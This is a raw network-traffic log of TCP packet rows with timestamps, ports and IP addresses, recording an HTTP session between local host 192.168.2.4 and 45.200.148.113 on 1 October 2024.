Oct 1, 2024 07:51:11.656400919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.656410933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.656423092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.656425953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.656433105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.656444073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.656449080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.656480074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.663294077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.663353920 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.663367987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.663379908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.663403988 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.663429976 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.663568974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.663613081 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.663633108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.663670063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.663778067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.663788080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.663798094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.663820982 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.663856983 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.664094925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.664105892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.664144993 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.664258957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.664269924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.664309978 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.664458036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.664469004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.664501905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.664506912 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.664513111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.664524078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.664541960 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.664566040 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.665095091 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.665106058 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.665116072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.665127993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.665138006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.665139914 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.665148020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.665158987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.665168047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.665170908 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.665414095 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.665414095 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.665987968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.665998936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.666047096 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.666384935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.666395903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.666407108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.666418076 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.666433096 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.666459084 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.666826010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.666836977 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.666846991 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.666858912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.666870117 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.666896105 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.719849110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.719916105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.719922066 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.719928026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.719959021 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.720077038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.720087051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.720127106 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.720199108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.720211029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.720243931 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.720273018 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.720346928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.720386982 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.720407963 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.720444918 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.720839977 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.720882893 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.720912933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.720923901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.720952988 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.721033096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.721071005 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.721168041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.721178055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.721211910 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.721376896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.721388102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.721399069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.721426010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.721457005 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.721592903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.721632957 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.721641064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.721652031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.721678019 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.721695900 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.721930981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.721941948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.721976042 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.722008944 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.722067118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.722100973 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.730214119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.730258942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.730268955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.730268955 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.730292082 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.730313063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.730447054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.730458975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.730469942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.730480909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.730509996 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.730545044 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.730748892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.730791092 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.732553959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.732603073 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.732621908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.732631922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.732660055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.732677937 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.732768059 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.732779026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.732816935 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.732959032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.732970953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.733004093 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.733031034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.733128071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.733170033 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.741007090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.741028070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.741056919 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.741079092 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.741080999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.741199970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.741219044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.741230011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.741240978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.741260052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.741283894 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.741535902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.741547108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.741558075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.741569042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.741586924 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.741611004 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.741884947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.741928101 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.742487907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.742500067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.742510080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.742520094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.742530107 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.742535114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.742541075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.742569923 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.742620945 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.743210077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.743221045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.743231058 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.743242025 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.743252039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.743261099 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.743262053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.743305922 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.743346930 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.743941069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.743952990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.743963003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.743973970 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.743983984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.743993998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.744004965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.744015932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.744029999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.744061947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.744688034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.744699001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.744708061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.744719028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.744729042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.744745970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.744771957 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.745192051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.745203972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.745213985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.745224953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.745244026 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.745265961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.751864910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.751938105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.751949072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.751981020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.752022028 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.752029896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.752039909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.752079010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.752250910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.752262115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.752291918 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.752325058 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.752408028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.752418995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.752463102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.752576113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.752585888 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.752614975 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.752645969 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.752737045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.752749920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.752759933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.752790928 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.752820969 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.752949953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.752980947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.752990961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.753026009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.753052950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.753278971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.753289938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.753300905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.753350973 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.753521919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.753532887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.753542900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.753561974 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.753595114 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.753842115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.753890038 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.753899097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.753910065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.753921032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.753942966 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.753972054 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.754601002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.754612923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.754622936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.754632950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.754643917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.754653931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.754663944 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.754673958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.754688978 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.754734993 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.755382061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.755400896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.755412102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.755464077 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.808480024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.808552027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.808562994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.808598995 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.808629990 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.808718920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.808784962 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.808787107 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.808821917 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.808908939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.808924913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.808934927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.808949947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.808969975 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.809464931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.809523106 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.809534073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.809570074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.809703112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.809755087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.809802055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.809884071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.809895992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.809906006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.809922934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.809956074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.810131073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.810228109 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.810236931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.810247898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.810257912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.810269117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.810278893 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.810281038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.810317993 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.810667992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.810712099 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.818907022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.818990946 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.819004059 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.819015026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.819044113 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.819242954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.819253922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.819294930 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.819462061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.819473028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.819514036 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.821573973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.821633101 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.822158098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.822170019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.822180986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.822191954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.822201967 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.822212934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.822232008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.822269917 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.829623938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.829675913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.829703093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.829735994 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.829827070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.829838037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.829869986 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.830127954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.830261946 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.830692053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.830703020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.830713034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.830723047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.830733061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.830734968 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.830743074 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.830754042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.830758095 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.830790043 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.831929922 CEST	80	49732	45.200.148.113	192.168.2.4
